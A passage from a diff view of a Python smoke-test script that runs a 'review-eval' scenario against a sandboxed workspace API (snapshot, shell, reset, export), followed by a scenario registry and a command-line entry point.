seed_path=seed_dir,
|
||||||
|
name="review-eval",
|
||||||
|
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "review-eval"},
|
||||||
|
)
|
||||||
|
_log(f"review-eval workspace_id={workspace_id}")
|
||||||
|
baseline_snapshot = pyro.create_snapshot(workspace_id, "pre-review")
|
||||||
|
assert baseline_snapshot["snapshot"]["snapshot_name"] == "pre-review", baseline_snapshot
|
||||||
|
shell = pyro.open_shell(workspace_id)
|
||||||
|
shell_id = str(shell["shell_id"])
|
||||||
|
initial = pyro.read_shell(
|
||||||
|
workspace_id,
|
||||||
|
shell_id,
|
||||||
|
cursor=0,
|
||||||
|
plain=True,
|
||||||
|
wait_for_idle_ms=300,
|
||||||
|
)
|
||||||
|
pyro.write_shell(workspace_id, shell_id, input="cat CHECKLIST.md")
|
||||||
|
read = pyro.read_shell(
|
||||||
|
workspace_id,
|
||||||
|
shell_id,
|
||||||
|
cursor=int(initial["next_cursor"]),
|
||||||
|
plain=True,
|
||||||
|
wait_for_idle_ms=300,
|
||||||
|
)
|
||||||
|
assert "Review checklist" in str(read["output"]), read
|
||||||
|
closed = pyro.close_shell(workspace_id, shell_id)
|
||||||
|
assert bool(closed["closed"]) is True, closed
|
||||||
|
shell_id = None
|
||||||
|
evaluation = pyro.exec_workspace(workspace_id, command="sh review.sh")
|
||||||
|
assert int(evaluation["exit_code"]) == 0, evaluation
|
||||||
|
pyro.write_workspace_file(workspace_id, "artifact.txt", text="FAIL\n")
|
||||||
|
reset = pyro.reset_workspace(workspace_id, snapshot="pre-review")
|
||||||
|
assert reset["workspace_reset"]["snapshot_name"] == "pre-review", reset
|
||||||
|
artifact = pyro.read_workspace_file(workspace_id, "artifact.txt")
|
||||||
|
assert artifact["content"] == "PASS\n", artifact
|
||||||
|
export_path = export_dir / "review-report.txt"
|
||||||
|
rerun = pyro.exec_workspace(workspace_id, command="sh review.sh")
|
||||||
|
assert int(rerun["exit_code"]) == 0, rerun
|
||||||
|
pyro.export_workspace(workspace_id, "review-report.txt", output_path=export_path)
|
||||||
|
assert export_path.read_text(encoding="utf-8") == "review=pass\n"
|
||||||
|
summary = pyro.summarize_workspace(workspace_id)
|
||||||
|
assert summary["workspace_id"] == workspace_id, summary
|
||||||
|
assert summary["changes"]["available"] is True, summary
|
||||||
|
assert summary["artifacts"]["exports"], summary
|
||||||
|
assert summary["snapshots"]["named_count"] >= 1, summary
|
||||||
|
finally:
|
||||||
|
if shell_id is not None and workspace_id is not None:
|
||||||
|
try:
|
||||||
|
pyro.close_shell(workspace_id, shell_id)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
_safe_delete_workspace(pyro, workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
_SCENARIO_RUNNERS: Final[dict[str, ScenarioRunner]] = {
|
||||||
|
"cold-start-validation": _scenario_cold_start_validation,
|
||||||
|
"repro-fix-loop": _scenario_repro_fix_loop,
|
||||||
|
"parallel-workspaces": _scenario_parallel_workspaces,
|
||||||
|
"untrusted-inspection": _scenario_untrusted_inspection,
|
||||||
|
"review-eval": _scenario_review_eval,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def run_workspace_use_case_scenario(
|
||||||
|
scenario: str,
|
||||||
|
*,
|
||||||
|
environment: str = DEFAULT_USE_CASE_ENVIRONMENT,
|
||||||
|
) -> None:
|
||||||
|
if scenario not in USE_CASE_CHOICES:
|
||||||
|
expected = ", ".join(USE_CASE_CHOICES)
|
||||||
|
raise ValueError(f"unknown use-case scenario {scenario!r}; expected one of: {expected}")
|
||||||
|
|
||||||
|
pyro = Pyro()
|
||||||
|
with tempfile.TemporaryDirectory(prefix="pyro-workspace-use-case-") as temp_dir:
|
||||||
|
root = Path(temp_dir)
|
||||||
|
scenario_names = USE_CASE_SCENARIOS if scenario == USE_CASE_ALL_SCENARIO else (scenario,)
|
||||||
|
for scenario_name in scenario_names:
|
||||||
|
recipe = _RECIPE_BY_SCENARIO[scenario_name]
|
||||||
|
_log(f"starting {recipe.scenario} ({recipe.title}) mode={recipe.mode}")
|
||||||
|
scenario_root = root / scenario_name
|
||||||
|
scenario_root.mkdir(parents=True, exist_ok=True)
|
||||||
|
runner = _SCENARIO_RUNNERS[scenario_name]
|
||||||
|
runner(pyro, root=scenario_root, environment=environment)
|
||||||
|
_log(f"completed {recipe.scenario}")
|
||||||
|
|
||||||
|
|
||||||
|
def build_arg_parser() -> argparse.ArgumentParser:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
prog="workspace_use_case_smoke",
|
||||||
|
description="Run real guest-backed workspace use-case smoke scenarios.",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--scenario",
|
||||||
|
choices=USE_CASE_CHOICES,
|
||||||
|
default=USE_CASE_ALL_SCENARIO,
|
||||||
|
help="Use-case scenario to run. Defaults to all scenarios.",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--environment",
|
||||||
|
default=DEFAULT_USE_CASE_ENVIRONMENT,
|
||||||
|
help="Curated environment to use for the workspace scenarios.",
|
||||||
|
)
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
args = build_arg_parser().parse_args()
|
||||||
|
run_workspace_use_case_scenario(
|
||||||
|
str(args.scenario),
|
||||||
|
environment=str(args.environment),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
1473
tests/test_api.py
1473
tests/test_api.py
File diff suppressed because it is too large
Load diff
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue